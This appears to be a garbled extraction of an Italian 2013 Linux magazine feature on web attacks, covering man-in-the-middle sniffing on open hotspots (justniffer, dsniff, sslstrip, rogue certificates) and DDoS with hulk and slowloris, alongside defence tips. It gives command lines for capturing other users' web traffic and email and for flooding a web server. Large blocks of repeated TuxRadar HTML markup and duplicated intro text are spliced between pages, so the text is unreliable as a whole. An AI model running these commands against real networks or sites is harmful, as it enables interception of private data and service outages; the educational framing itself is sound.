Man in the middlesourceforge.net/#!/install. Justniffer offre numerose opzioni per monitorare una rete. noi utilizzeremo la sua capacità di ricostruire le pagine Web che visualizza. per prima cosa, create una directory dati. nel nostro esempio sarà la directory home dell’autore ma potrebbe trovarsi ovunque (meglio se su un disco a parte, se intendete lasciarla in funzione per qualche tempo). mkdir /home/ben/data sudo justniffer-grab-http-traffi c -d /home/ben/data -u ben -i wlan0in entrambi i casi dovrete sostituire ben con il vostro nome utente. L’opzione -U indica a nome di quale utente andranno salvati i fi le. Collegandovi allo hotspot mediante un computer, un tablet o un cellulare e navigando in rete, vedrete la directory dati riempirsi di fi le per ogni pagina Web non criptata visualizzata. Questi comprenderanno i contenuti di qualunque e-mail basata sul Web rilevata che non sia trasmessa mediante HTTpS (Gmail usa questo sistema e quindi non sarà violabile; la maggior parte degli altri sistemi non lo fa). naturalmente, non tutto ciò che vi interessa intercettare viaggia tramite HTTp ed esistono molti altri protocolli di uso comune non criptati (come FTp e Telnet). per fortuna esistono altri strumenti utili per attaccarli. per esempio, dsniff (http://monkey.org/~dugsong/dsniff) preleva dal traffi co di rete tutte le password non criptate. Entrambi questi strumenti sono passivi: creano cioè una copia dei dati, lasciandoli però intatti. Ci si può spingere anche oltre ma per farlo occorre un attacco attivo e per la precisione sslstrip. Questo sfrutta la natura dei collegamenti internet e il fatto che sul Web alcune pagine sono criptate e altre no. in sostanza, esamina tutto il traffi co Web non cifrato, in attesa di link o di rinvii a siti HTTpS. Quando li rileva, lancia un attacco MiTM in cui sslstrip richiede la versione sicura del sito e quindi la invia come semplice HTTp al browser. un sito può bloccare questo tipo di attacco ma il modo in cui questo avviene esula dal proposito di questo articolo. Abbiamo comunque rilevato che molti siti importanti (compresi Facebook e Yahoo) erano vulnerabili e lo abbiamo riferito ai rispettivi team di sicurezza. Facebook ha replicato che raccomanda l’uso delle impostazioni sicure per il browser; questo tuttavia non si è rivelato suffi ciente a bloccare l’attacco e quando lo abbiamo fatto notare non abbiamo ricevuto risposta. Da Yahoo non abbiamo avuto alcuna replica.

Criptateviinternet si può paragonare al servizio postale. i dati vengono normalmente inviati in forma non criptata, il che equivale a spedire una cartolina. Chiunque potrà leggerla prima che arrivi a destinazione e lo stesso avviene con le informazioni inviate mediante HTTp, FTp, Telnet

o altri sistemi non criptati. in alcuni casi, questo non è un problema (che importa se il postino di vostra nonna leggerà che il tempo in Spagna è bellissimo?), in altri lo è (è meglio che il vostro postino non conosca gli estremi del vostro conto bancario). online avviene lo stesso. Se non volete che le vostre informazioni siano leggibili pubblicamente, usate un protocollo cifrato (HTTpS, SFTp, SSH, SCp eccetera). per facilitarvi il compito, Electronic Frontier Foundation (EFF) ha prodotto un’estensione browser per Firefox (la versione per Chrome è in fase alfa) denominata HTTPS Everywhere, che garantisce per impostazione predefi nita l’uso della versione criptata di qualunque sito (se esiste). Se la versione criptata non esiste, però, riceverete comunque quella non criptata; perciò tenete gli occhi aperti. Come abbiamo visto con sslstrip, dovete prestare particolare attenzione quando usate una rete aperta, anche qualora il sito sia di norma criptato. Accertatevi di usare realmente HTTpS prima di inserire qualsiasi informazione. i protocolli criptati mantengono privati i dati ma non celano i server da voi usati. per esempio, un intruso potrebbe scoprire che usate gmail.com ma non scoprirà quale nome utente usate o quali e-mail inviate o ricevete. Se oltre alla criptazione volete l’anonimato, dovrete usare una Vpn o Tor (Torproject.org). ricordate però che dovrete comunque usare un protocollo criptato per essere protetti.

Con justniffer siamo riusciti a impadronirci di e-mail inviate a un telefono collegato al nostro hotspot di prova

Attacco ai certificatiTutte le forme di cifratura si basano su chiavi. Queste sono simili a password nel senso che permettono di decriptare un documento. È sempre arduo assicurarsi che in una comunicazione criptata entrambe le parti conoscano le chiavi per la decifrazione: a tale fi ne, sul Web si usano i certifi cati. Questi vengono rilasciati da autorità riconosciute e garantiscono che i dati ricevuti (e le chiavi usate) provengono realmente dal sito

dichiarato. La procedura di certifi cazione dei siti è però suscettibile di attacchi. per esempio, se riuscirete a caricare un certifi cato in un browser spacciandovi per un’autorità riconosciuta, potrete quindi generare dei certifi cati falsi che il browser considererà affi dabili. potrete così predisporre un attacco Man in The Middle usando un certifi cato falso. per aiutare gli esperti di test di penetrazione a controllare i siti criptati, ZAp permette

di creare autorità riconosciute e di usarle per lanciare attacchi. Esistono inoltre vari proxy commerciali che svolgono tale attività su vasta scala, per esempio per permettere alle aziende di controllare che cosa fanno i loro dipendenti online. Morale della favola: se qualcun altro controlla il vostro computer, può spiare tutto ciò che inviate sul Web, con buona pace della cifratura HTTpS.

œ

LXP130_06-13_webapp 11 06/06/13 15:29

Page 14: Linuxpro 130 Giugno 2013

<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”><html dir=”ltr” xmlns=”http://www.w3.org/1999/xhtml”><head><meta http-equiv=”Content-Type” content=”text/html; charset=utf-8” /><title>TuxRadar Linux</title><meta http-equiv=”Content-Type” content=”text/html; charset=utf-8” /><link rel=”alternate” type=”application/rss+xml” title=”TuxRadar - “ href=”/frontpage/feed” /><link rel=”shortcut icon” href=”/misc/favicon.ico” type=”image/x-icon” /><style type=”text/css” media=”all”>@import “/modules/node/node.css”;</style><style type=”text/css” media=”all”>@import “/modules/poll/poll.css”;</style><style type=”text/css” media=”all”>@import “/modules/system/defaults.css”;</style><style type=”text/css” media=”all”>@import “/modules/system/system.css”;</style><style type=”text/css” media=”all”>@import “/modules/taxonomy_browser/taxonomy_browser.css”;</style><style type=”text/css” media=”all”>@import “/modules/user/user.css”;</style><link rel=”stylesheet” type=”text/css” href=”/themes/tuxradar/main.css” /><script src=”/files/prettify.js” type=”text/javascript”></script></head><body onload=”prettyPrint();”> <!-- Begin Sitestat4 Loadingtime1 code --><script language=’JavaScript1.1’ type=’text/javascript’>ns_loadingtime1=(new Date()).getTime()</script><!-- End Sitestat4 Loadingtime1 code --> <div id=”masthead”> <div class=”inner”> <div id=”logo”> <a href=”/”><img src=”/themes/tuxradar/tuxradar.png” alt=”TuxRadar” title=”TuxRadar” /></a> </div> <div style=”float: right; margin-top: 5px”><!-- begin ad tag--><script language=”JavaScript” type=”text/javascript”>if (typeof ord==’undefined’) {ord=Math.random()*10000000000000000;}docu-ment.write(‘<script language=”JavaScript” src=”http://ad.doubleclick.net/adj/fut.gb.tuxradar/home;dcopt=ist;tile=1;sz=728x90;ord=’ + ord + ‘?” type=”text/javascript”><\/script>’);</script><noscript><a href=”http://ad.doubleclick.net/jump/fut.gb.tuxradar/home;tile=1;sz=728x90;ord=123456789?” target=”_blank”><img src=”http://ad.doubleclick.net/ad/fut.gb.tuxradar/home;tile=1;sz=728x90;ord=123456789?” width=”728” height=”90” border=”0” alt=””></a></noscript><!-- End ad tag --> </div> </div></div><div id=”top_nav”> <div class=”inner”> <div id=”menubar”> <ul class=”links”><li class=”first $key”><a href=”/” class=”menu-1-1-2 active”>Latest News</a></li><li class=”$key”><a href=”/podcast” class=”menu-1-2-2”>Podcast</a></li><li class=”$key”><a href=”/features” class=”menu-1-3-2”>Features</a></li><li class=”$key”><a href=”/distros” class=”menu-1-4-2”>Distros</a></li><li class=”$key”><a href=”/code” class=”menu-1-5-2”>Code</a></li><li class=”$key”><a href=”/apps” class=”menu-1-6-2”>Apps</a></li><li class=”last $key”><a href=”/content/open-ballot-have-you-converted-anyone-linux” class=”menu-1-7-2”>Convert Corner</a></li></ul> &nbsp;&nbsp;&nbsp;<a href=”http://www.tuxradar.com/rss”><img src=”/files/rss-small.png” style=”border: 0;margin-top:16px;” /></a> </div> <div id=”search_box”> <form id=”search-block-form” method=”post” accept-charset=”UTF-8” action=”/search/node”> <input type=”text” id=”searchterm” name=”keys” size=”10” /> <input type=”hidden” name=”form_token” id=”edit-search-form-form-token” value=”d2bfe4f343ba3ad454062d01e8aaafcc” /> <input type=”hidden” name=”form_id” id=”edit-search-form” value=”search_form” /> <input id=”search_button” type=”submit” value=”Search” /> </form> </div> </div></div><div id=”topstories”> <div class=”inner” style=”text-align: center;”> <p> <a href=”https://play.google.com/store/magazines/details/”><img src=”/themes/banner.png” /></a> </p> </div></div><div id=”content”> <div id=”left” class=”inner”> <div class=’view view-frontpage’><div class=’view-content view-content-frontpage’><div id=”node-702” class=”node”><h2>Linux Pro 130 - I segreti degli hacker</h2><div class=”submitted”>March 1, 2013 @ 11:16am</div><div class=”content” style=”clear: both; border-bottom: 3px solid #ddddff;”><div style=”float: left;”><img src=”/files/icons/lxf.png” alt=”LXP” /></div> <div style=”margin-left: 110px; margin-bottom: 40px;”><img src=”/files/-big.jpg” /><br><p><br><p> L’arte di manipolare computer a piacimento e senza autorizzazione: alcuni la chia-mano hacking, altri ‘cracking’ o test di penetrazione. In ogni caso, avviene continuamente in tutto il mondo. </p><div class=”links”><p>Ogni giorno governi, imprese, dissidenti, geek annoiati e criminali si attac-cano tra loro e attaccano normali utenti di computer.L’hacking funziona in vari modi ma noi ci occuperemo degli attacchi portati attraverso il Web, quelli che con maggiore frequenza colpiscono gli utenti normali. Alcuni di questi attacchi, come quelli di Anonymous, hanno conquistato le prime pagine mandando offline interi siti o aggiungendo graffiti sulle loro pagine. Altri si verificano ogni giorno, fruttando spesso grandi somme di denaro ai criminali, eppure i media ne danno raramente conto” alt=”Podcast” /></div> <div style=”margin-left: 110px; margin-bottom: 40px;”><p>Se gestite un sito, senza dubbio riscontrate numer-osi attacchi nei log dei vostri server. Se siete semplici utenti del Web, più probabilmente ne conoscete le conseguenze sotto forma di e-mail spam (quelle con i classici link improbabili); o magari avete avuto la sfor-tuna di perdere informazioni personali a causa della violazione di un server.In ogni caso, viviamo in un mondo sempre più interconnesso dove un numero crescente di beni preziosi è racchiuso in cassaforti digitali più che in caveau fisici. Possiamo limitarci a sperare che governi e aziende Web ci proteggano; oppure possiamo imparare a conoscere le minacce e proteggerci da soli. Daremo quindi una sbirciata dentro ad alcuni degli strumenti usati dagli hacker, dato che per difendersi occorre capire cos’è ciò da cui ci si difende. Esamineremo quattro diversi tipi di attacco (denial of service (DDOS), man in the middle, cross-site scripting e attacco a iniezione) scoprendo come i criminali li utilizzano e come impedire che colpiscano voi o il vostro sito. /></div> <div style=”margin-left: 110px; <!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”><html dir=”ltr” xmlns=”http://www.w3.org/1999/xhtml”><head><meta http-equiv=”Content-Type” content=”text/html; charset=utf-8” /><title>TuxRadar Linux</title><meta http-equiv=”Content-Type” content=”text/html; charset=utf-8” /><link rel=”alternate” type=”application/rss+xml” title=”TuxRadar - “ href=”/frontpage/feed” /><link rel=”shortcut icon” href=”/misc/favicon.ico” type=”image/x-icon” /><style type=”text/css” media=”all”>@import “/modules/node/node.css”;</style><style type=”text/css” media=”all”>@import “/modules/poll/poll.css”;</style><style type=”text/css” media=”all”>@import “/modules/system/defaults.css”;</style><style type=”text/css” media=”all”>@import “/modules/system/system.css”;</style><style type=”text/css” media=”all”>@import “/modules/taxonomy_browser/taxonomy_browser.css”;</style><style type=”text/css” media=”all”>@import “/modules/user/user.css”;</style><link rel=”stylesheet” type=”text/css” href=”/themes/tuxradar/main.css” /><script src=”/files/prettify.js” type=”text/javascript”></script></head><body onload=”prettyPrint();”> <!-- Begin Sitestat4 Loadingtime1 code --><script language=’JavaScript1.1’ type=’text/javascript’>ns_loadingtime1=(new Date()).getTime()</script><!-- End Sitestat4 Loadingtime1 code --> <div id=”masthead”> <div class=”inner”> <div id=”logo”> <a href=”/”><img src=”/themes/tuxradar/tuxradar.png” alt=”TuxRadar” title=”TuxRadar” /></a> </div> <div style=”float: right; margin-top: 5px”><!-- begin ad tag--><script language=”JavaScript” type=”text/javascript”>if (typeof ord==’undefined’) {ord=Math.random()*10000000000000000;}document.write(‘<script language=”JavaScript” src=”http://ad.doubleclick.net/adj/fut.gb.tuxradar/home;dcopt=ist;tile=1;sz=728x90;ord=’ + ord + ‘?” type=”text/javascript”><\/script>’);</script><noscript><a href=”http://ad.doubleclick.net/jump/fut.gb.tuxradar/home;tile=1;sz=728x90;ord=123456789?” target=”_blank”><img src=”http://ad.doubleclick.net/ad/fut.gb.tuxradar/home;tile=1;sz=728x90;ord=123456789?” width=”728” height=”90” border=”0” alt=””></a></noscript><!-- End ad tag --> </div> </div></div><div id=”top_nav”> <div class=”inner”> <div id=”menubar”> <ul class=”links”><li class=”first $key”><a href=”/” class=”menu-1-1-2 active”>Latest News</a></li><li class=”$key”><a href=”/pod-cast” class=”menu-1-2-2”>Podcast</a></li><li class=”$key”><a href=”/features” class=”menu-1-3-2”>Features</a></li><li class=”$key”><a href=”/distros” class=”menu-1-4-2”>Distros</a></li><li class=”$key”><a href=”/code” class=”menu-1-5-2”>Code</a></li><li class=”$key”><a href=”/apps” class=”menu-1-6-2”>Apps</a></li><li class=”last $key”><a href=”/content/open-ballot-have-you-convert-ed-anyone-linux” class=”menu-1-7-2”>Convert Corner</a></li></ul> &nbsp;&nbsp;&nbsp;<a href=”http://www.tuxradar.com/rss”><img src=”/files/rss-small.png” style=”border: 0;margin-top:16px;” /></a> </div> <div id=”search_box”> <form id=”search-block-form” method=”post” accept-charset=”UTF-8” action=”/search/node”> <input type=”text” id=”searchterm” name=”keys” size=”10” /> <input type=”hidden” name=”form_token” id=”edit-search-form-form-token” value=”d2bfe4f343ba3ad454062d01e8aaafcc” /> <input type=”hidden” name=”form_id” id=”edit-search-form” value=”search_form” /> <input id=”search_button” type=”submit” value=”Search” /> </form> </div> </div></div><div id=”topstories”> <div class=”inner” style=”text-align: center;”> <p> <a href=”https://play.google.com/store/magazines/details/”><img src=”/themes/banner.png” /></a> </p> </div></div><div id=”content”> <div id=”left” class=”inner”> <div class=’view view-frontpage’><div class=’view-content view-content-frontpage’><div id=”node-702” class=”node”><h2>Linux Pro 130 - I segreti degli hacker</h2><div class=”submitted”>March 1, 2013 @ 11:16am</div><div class=”content” style=”clear: both; border-bottom: 3px solid #ddddff;”><div style=”float: left;”><img src=”/files/icons/lxf.png” alt=”LXP” /></div> <div style=”margin-left: 110px; margin-bottom: 40px;”><img src=”/files/-big.jpg” /><br><p><br><p> L’arte di manipolare computer a piacimento e senza autorizzazione: alcuni la chiamano hacking, altri ‘cracking’ o test di penetrazione. In ogni caso, avviene continuamente in tutto il mondo. </p><div class=”links”><p>Ogni giorno governi, imprese, dissidenti, geek annoiati e criminali si attaccano tra loro e attaccano normali utenti di computer.L’hacking funziona in vari modi ma noi ci occuperemo degli attacchi portati attraverso il Web, quelli che con maggiore frequenza colpiscono gli utenti normali. Alcuni di questi attacchi, come quelli di Anonymous, hanno conquistato le prime pagine mandando offline interi siti o aggiungendo graffiti sulle loro pagine. Altri si verificano ogni giorno, fruttando spesso grandi somme di denaro ai criminali, eppure i media ne danno raramente conto” alt=”Podcast” /></div> <div style=”margin-left: 110px; margin-bottom: 40px;”><p>Se gestite un sito, senza dubbio riscontrate numerosi attacchi nei log dei vostri server. Se siete semplici utenti del Web, più probabilmente ne conoscete le conseguenze sotto forma di e-mail spam (quelle con i classici link improbabili); o magari avete avuto la sfortuna di perdere informazioni personali a causa della violazione di un server.In ogni caso, viviamo in un mondo sempre più interconnesso dove un numero crescente di beni preziosi è racchiuso in cassaforti digitali più che in caveau fisici. Possiamo limitarci a sperare che governi e aziende Web ci proteggano; oppure possiamo imparare a conoscere le minacce e proteggerci da soli. Daremo quindi una sbirciata dentro ad alcuni degli strumenti usati dagli hacker, dato che per difendersi occorre capire cos’è ciò da cui ci si difende. Esamineremo quattro diversi tipi di attacco (denial of service (DDOS), man in the middle, cross-site scripting e attacco a iniezione) scoprendo come i criminali li utilizzano e come impedire che colpiscano voi o il vostro sito. /></div> <div style=”margin-left: 110px; <!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”><html dir=”ltr” xmlns=”http://www.w3.org/1999/xhtml”><head><meta http-equiv=”Content-Type” content=”text/html; charset=utf-8” /><title>TuxRadar Linux</title><meta http-equiv=”Content-Type” content=”text/html; charset=utf-8” /><link rel=”alternate” type=”application/rss+xml” title=”TuxRadar - “ href=”/frontpage/feed” /><link rel=”shortcut icon” href=”/misc/favicon.ico” type=”image/x-icon” /><style type=”text/css” media=”all”>@import “/modules/node/node.css”;</style><style type=”text/css” media=”all”>@import “/modules/poll/poll.css”;</style><style type=”text/css” media=”all”>@import “/modules/system/defaults.css”;</style><style type=”text/css” media=”all”>@import “/modules/system/system.css”;</style><style type=”text/css” media=”all”>@import “/modules/taxonomy_browser/taxonomy_browser.css”;</style><style type=”text/css” media=”all”>@import “/modules/user/user.css”;</style><link rel=”stylesheet” type=”text/css” href=”/themes/tuxradar/main.css” /><script src=”/files/prettify.js” type=”text/javascript”></script></head><body onload=”prettyPrint();”> <!-- Begin Sitestat4 Loadingtime1 code --><script language=’JavaScript1.1’ type=’text/javascript’>ns_loadingtime1=(new Date()).getTime()</script><!-- End Sitestat4 Loadingtime1 code --> <div id=”masthead”> <div class=”inner”> <div id=”logo”> <a href=”/”><img src=”/themes/tuxradar/tuxradar.

Hacking

12 Linux pro 130

DDOSSovraccaricare i server della vittima

L ’attacco Denial of Service (DDOS) è forse il più pubblicizzato degli ultimi anni. Anonymous e altri collettivi di attivisti in rete lo hanno usato con

successo contro governi, istituzioni finanziarie e altre organizzazioni a loro sgradite. Meno pubblicizzato è il fatto che gli attacchi DDoS sono divenuti anche un’arma usata dalle organizzazioni criminali. prima di vedere perché, ricordiamo che cosa sono e come funzionano questi attacchi. in sostanza, un attacco DDoS impedisce al server di svolgere la sua normale funzione, negando così il servizio agli utenti. Tipicamente (ma non necessariamente) si tratta di un server Web. L’attacco non compromette il computer e non ne prende il controllo ma sovraccarica alcuni aspetti della sua attività. per esempio, un malintenzionato può saturare la connessione di rete del server con dati fasulli in modo da non permettere il passaggio di dati dannosi; oppure può occupare tutti i cicli della Cpu impedendole di elaborare altre richieste. Dato che i server moderni utilizzano perlopiù connessioni a banda larga, Cpu potenti e abbondante memoria, di norma non è possibile sovraccaricarli mediante una semplice connessione domestica a banda larga. per ovviare al problema i pirati usano spesso più computer per attaccare simultaneamente il bersaglio. nel caso degli attivisti, l’attacco viene generalmente condotto da un gruppo di persone che sostengono la causa; nel caso dei criminali si usa spesso una botnet. Esistono numerosi strumenti per effettuare test DDoS. Quello prediletto da Anonymous è High Orbit Ion Cannon, facile da usare anche per i non esperti. noi però ci concentreremo su hulk, disponibile su http://packetstormsecurity.com/files/112856/HULK-Http-Unbearable-Load-King.html. per usare hulk, decomprimetelo e avviatelo con unzip hulk.zip python hulk.py http://<sito internet>per provarlo potrete impostare rapidamente un server HTTp in questo modo: python -m SimpleHTTpServere quindi attaccarlo con: python hulk.py http://<indirizzo ip>:8000in questo modo siamo riusciti ad ‘abbattere’ il sito con un certo successo. naturalmente, però, un conto è abbattere un piccolo server Web python e un conto è prendersela

con un sistema Apache dedicato. Hulk tenta semplicemente di inondare il bersaglio di richieste. Diamo un’occhiata a qualcosa di più efficace. Slowloris (che trovate su ha.ckers.org/slowloris o sul DVD) tenta di tenere aperto il maggior numero di connessioni possibile, al fine di esaurire le capacità del server. Questo metodo richiede molta meno banda rispetto a un attacco diretto in stile hulk ma non tutti i software dei server Web sono vulnerabili. per provarci vi basterà rendere eseguibile il file e quindi avviarlo con: chmod a+x slowloris.pl ./slowris.pl -dns <sito internet>Anche questo attacco ha abbattuto all’istante il nostro piccolo server python.

Proteggeteviper proteggersi dagli attacchi DDoS è sufficiente ridurre al minimo l’impatto dei singoli pacchetti dannosi, cioè bloccarne il maggior numero possibile non appena entrano nella vostra rete. per farlo vi servirà un firewall e dovrete sapere come configurarlo in modo che identifichi e scarti tutti i pacchetti in questione. Come? i particolari dipendono dal firewall e le regole necessarie cambiano come in un continuo gioco del gatto con il topo, dato che gli aggressori modificano i loro pacchetti in modo da aggirare le regole del firewall. in ogni caso, assicuratevi di sapere come proteggervi prima di essere attaccati! provate i vari strumenti DDoS disponibili ed esercitatevi a bloccarli: non aspettate che il vostro sito sia stato abbattuto per imparare come si fa. L’uso degli strumenti DDoS è utilissimo anche per verificare come se la caverebbe il vostro sito di fronte a un sovraccarico. in alternativa potete inserire il vostro server in una rete che si occupi del problema. Servizi come CloudFlare proteggono il vostro server con il loro firewall (in modo virtuale: non dovrete riconnettere il server), risparmiandovi la necessità di trafficare con le minuzie della configurazione del firewall.

Lo slow loris (in italiano ‘lori lento’) è un primate diffuso nell’Asia meridionale e sud-orientale. Volete vedere la sua controparte digitale? Aprite il file Perl in un editor di testo

Abbiamo usato una versione modificata di hulk su un Nexus 7. L’efficacia è risultata inferiore a quella di un computer fisso ma siamo comunque riusciti a mettere in ginocchio il nostro server Web. Tablet e cellulari, sempre più potenti, potrebbero trasformarsi in temibili strumenti di attacco una volta collegati a hotspot Wi-Fi aperti

LXP130_06-13_webapp 12 06/06/13 15:29

Page 15: Linuxpro 130 Giugno 2013

<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”><html dir=”ltr” xmlns=”http://www.w3.org/1999/xhtml”><head><meta http-equiv=”Content-Type” content=”text/html; charset=utf-8” /><title>TuxRadar Linux</title><meta http-equiv=”Content-Type” content=”text/html; charset=utf-8” /><link rel=”alternate” type=”application/rss+xml” title=”TuxRadar - “ href=”/frontpage/feed” /><link rel=”shortcut icon” href=”/misc/favicon.ico” type=”image/x-icon” /><style type=”text/css” media=”all”>@import “/modules/node/node.css”;</style><style type=”text/css” media=”all”>@import “/modules/poll/poll.css”;</style><style type=”text/css” media=”all”>@import “/modules/system/defaults.css”;</style><style type=”text/css” media=”all”>@import “/modules/system/system.css”;</style><style type=”text/css” media=”all”>@import “/modules/taxonomy_browser/taxonomy_browser.css”;</style><style type=”text/css” media=”all”>@import “/modules/user/user.css”;</style><link rel=”stylesheet” type=”text/css” href=”/themes/tuxradar/main.css” /><script src=”/files/prettify.js” type=”text/javascript”></script></head><body onload=”prettyPrint();”> <!-- Begin Sitestat4 Loadingtime1 code --><script language=’JavaScript1.1’ type=’text/javascript’>ns_loadingtime1=(new Date()).getTime()</script><!-- End Sitestat4 Loadingtime1 code --> <div id=”masthead”> <div class=”inner”> <div id=”logo”> <a href=”/”><img src=”/themes/tuxradar/tuxradar.png” alt=”TuxRadar” title=”TuxRadar” /></a> </div> <div style=”float: right; margin-top: 5px”><!-- begin ad tag--><script language=”JavaScript” type=”text/javascript”>if (typeof ord==’undefined’) {ord=Math.random()*10000000000000000;}docu-ment.write(‘<script language=”JavaScript” src=”http://ad.doubleclick.net/adj/fut.gb.tuxradar/home;dcopt=ist;tile=1;sz=728x90;ord=’ + ord + ‘?” type=”text/javascript”><\/script>’);</script><noscript><a href=”http://ad.doubleclick.net/jump/fut.gb.tuxradar/home;tile=1;sz=728x90;ord=123456789?” target=”_blank”><img src=”http://ad.doubleclick.net/ad/fut.gb.tuxradar/home;tile=1;sz=728x90;ord=123456789?” width=”728” height=”90” border=”0” alt=””></a></noscript><!-- End ad tag --> </div> </div></div><div id=”top_nav”> <div class=”inner”> <div id=”menubar”> <ul class=”links”><li class=”first $key”><a href=”/” class=”menu-1-1-2 active”>Latest News</a></li><li class=”$key”><a href=”/podcast” class=”menu-1-2-2”>Podcast</a></li><li class=”$key”><a href=”/features” class=”menu-1-3-2”>Features</a></li><li class=”$key”><a href=”/distros” class=”menu-1-4-2”>Distros</a></li><li class=”$key”><a href=”/code” class=”menu-1-5-2”>Code</a></li><li class=”$key”><a href=”/apps” class=”menu-1-6-2”>Apps</a></li><li class=”last $key”><a href=”/content/open-ballot-have-you-converted-anyone-linux” class=”menu-1-7-2”>Convert Corner</a></li></ul> &nbsp;&nbsp;&nbsp;<a href=”http://www.tuxradar.com/rss”><img src=”/files/rss-small.png” style=”border: 0;margin-top:16px;” /></a> </div> <div id=”search_box”> <form id=”search-block-form” method=”post” accept-charset=”UTF-8” action=”/search/node”> <input type=”text” id=”searchterm” name=”keys” size=”10” /> <input type=”hidden” name=”form_token” id=”edit-search-form-form-token” value=”d2bfe4f343ba3ad454062d01e8aaafcc” /> <input type=”hidden” name=”form_id” id=”edit-search-form” value=”search_form” /> <input id=”search_button” type=”submit” value=”Search” /> </form> </div> </div></div><div id=”topstories”> <div class=”inner” style=”text-align: center;”> <p> <a href=”https://play.google.com/store/magazines/details/”><img src=”/themes/banner.png” /></a> </p> </div></div><div id=”content”> <div id=”left” class=”inner”> <div class=’view view-frontpage’><div class=’view-content view-content-frontpage’><div id=”node-702” class=”node”><h2>Linux Pro 130 - I segreti degli hacker</h2><div class=”submitted”>March 1, 2013 @ 11:16am</div><div class=”content” style=”clear: both; border-bottom: 3px solid #ddddff;”><div style=”float: left;”><img src=”/files/icons/lxf.png” alt=”LXP” /></div> <div style=”margin-left: 110px; margin-bottom: 40px;”><img src=”/files/-big.jpg” /><br><p><br><p> L’arte di manipolare computer a piacimento e senza autorizzazione: alcuni la chia-mano hacking, altri ‘cracking’ o test di penetrazione. In ogni caso, avviene continuamente in tutto il mondo. </p><div class=”links”><p>Ogni giorno governi, imprese, dissidenti, geek annoiati e criminali si attac-cano tra loro e attaccano normali utenti di computer.L’hacking funziona in vari modi ma noi ci occuperemo degli attacchi portati attraverso il Web, quelli che con maggiore frequenza colpiscono gli utenti normali. Alcuni di questi attacchi, come quelli di Anonymous, hanno conquistato le prime pagine mandando offline interi siti o aggiungendo graffiti sulle loro pagine. Altri si verificano ogni giorno, fruttando spesso grandi somme di denaro ai criminali, eppure i media ne danno raramente conto” alt=”Podcast” /></div> <div style=”margin-left: 110px; margin-bottom: 40px;”><p>Se gestite un sito, senza dubbio riscontrate numer-osi attacchi nei log dei vostri server. Se siete semplici utenti del Web, più probabilmente ne conoscete le conseguenze sotto forma di e-mail spam (quelle con i classici link improbabili); o magari avete avuto la sfor-tuna di perdere informazioni personali a causa della violazione di un server.In ogni caso, viviamo in un mondo sempre più interconnesso dove un numero crescente di beni preziosi è racchiuso in cassaforti digitali più che in caveau fisici. Possiamo limitarci a sperare che governi e aziende Web ci proteggano; oppure possiamo imparare a conoscere le minacce e proteggerci da soli. Daremo quindi una sbirciata dentro ad alcuni degli strumenti usati dagli hacker, dato che per difendersi occorre capire cos’è ciò da cui ci si difende. Esamineremo quattro diversi tipi di attacco (denial of service (DDOS), man in the middle, cross-site scripting e attacco a iniezione) scoprendo come i criminali li utilizzano e come impedire che colpiscano voi o il vostro sito. /></div> <div style=”margin-left: 110px; <!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”><html dir=”ltr” xmlns=”http://www.w3.org/1999/xhtml”><head><meta http-equiv=”Content-Type” content=”text/html; charset=utf-8” /><title>TuxRadar Linux</title><meta http-equiv=”Content-Type” content=”text/html; charset=utf-8” /><link rel=”alternate” type=”application/rss+xml” title=”TuxRadar - “ href=”/frontpage/feed” /><link rel=”shortcut icon” href=”/misc/favicon.ico” type=”image/x-icon” /><style type=”text/css” media=”all”>@import “/modules/node/node.css”;</style><style type=”text/css” media=”all”>@import “/modules/poll/poll.css”;</style><style type=”text/css” media=”all”>@import “/modules/system/defaults.css”;</style><style type=”text/css” media=”all”>@import “/modules/system/system.css”;</style><style type=”text/css” media=”all”>@import “/modules/taxonomy_browser/taxonomy_browser.css”;</style><style type=”text/css” media=”all”>@import “/modules/user/user.css”;</style><link rel=”stylesheet” type=”text/css” href=”/themes/tuxradar/main.css” /><script src=”/files/prettify.js” type=”text/javascript”></script></head><body onload=”prettyPrint();”> <!-- Begin Sitestat4 Loadingtime1 code --><script language=’JavaScript1.1’ type=’text/javascript’>ns_loadingtime1=(new Date()).getTime()</script><!-- End Sitestat4 Loadingtime1 code --> <div id=”masthead”> <div class=”inner”> <div id=”logo”> <a href=”/”><img src=”/themes/tuxradar/tuxradar.png” alt=”TuxRadar” title=”TuxRadar” /></a> </div> <div style=”float: right; margin-top: 5px”><!-- begin ad tag--><script language=”JavaScript” type=”text/javascript”>if (typeof ord==’undefined’) {ord=Math.random()*10000000000000000;}document.write(‘<script language=”JavaScript” src=”http://ad.doubleclick.net/adj/fut.gb.tuxradar/home;dcopt=ist;tile=1;sz=728x90;ord=’ + ord + ‘?” type=”text/javascript”><\/script>’);</script><noscript><a href=”http://ad.doubleclick.net/jump/fut.gb.tuxradar/home;tile=1;sz=728x90;ord=123456789?” target=”_blank”><img src=”http://ad.doubleclick.net/ad/fut.gb.tuxradar/home;tile=1;sz=728x90;ord=123456789?” width=”728” height=”90” border=”0” alt=””></a></noscript><!-- End ad tag --> </div> </div></div><div id=”top_nav”> <div class=”inner”> <div id=”menubar”> <ul class=”links”><li class=”first $key”><a href=”/” class=”menu-1-1-2 active”>Latest News</a></li><li class=”$key”><a href=”/pod-cast” class=”menu-1-2-2”>Podcast</a></li><li class=”$key”><a href=”/features” class=”menu-1-3-2”>Features</a></li><li class=”$key”><a href=”/distros” class=”menu-1-4-2”>Distros</a></li><li class=”$key”><a href=”/code” class=”menu-1-5-2”>Code</a></li><li class=”$key”><a href=”/apps” class=”menu-1-6-2”>Apps</a></li><li class=”last $key”><a href=”/content/open-ballot-have-you-convert-ed-anyone-linux” class=”menu-1-7-2”>Convert Corner</a></li></ul> &nbsp;&nbsp;&nbsp;<a href=”http://www.tuxradar.com/rss”><img src=”/files/rss-small.png” style=”border: 0;margin-top:16px;” /></a> </div> <div id=”search_box”> <form id=”search-block-form” method=”post” accept-charset=”UTF-8” 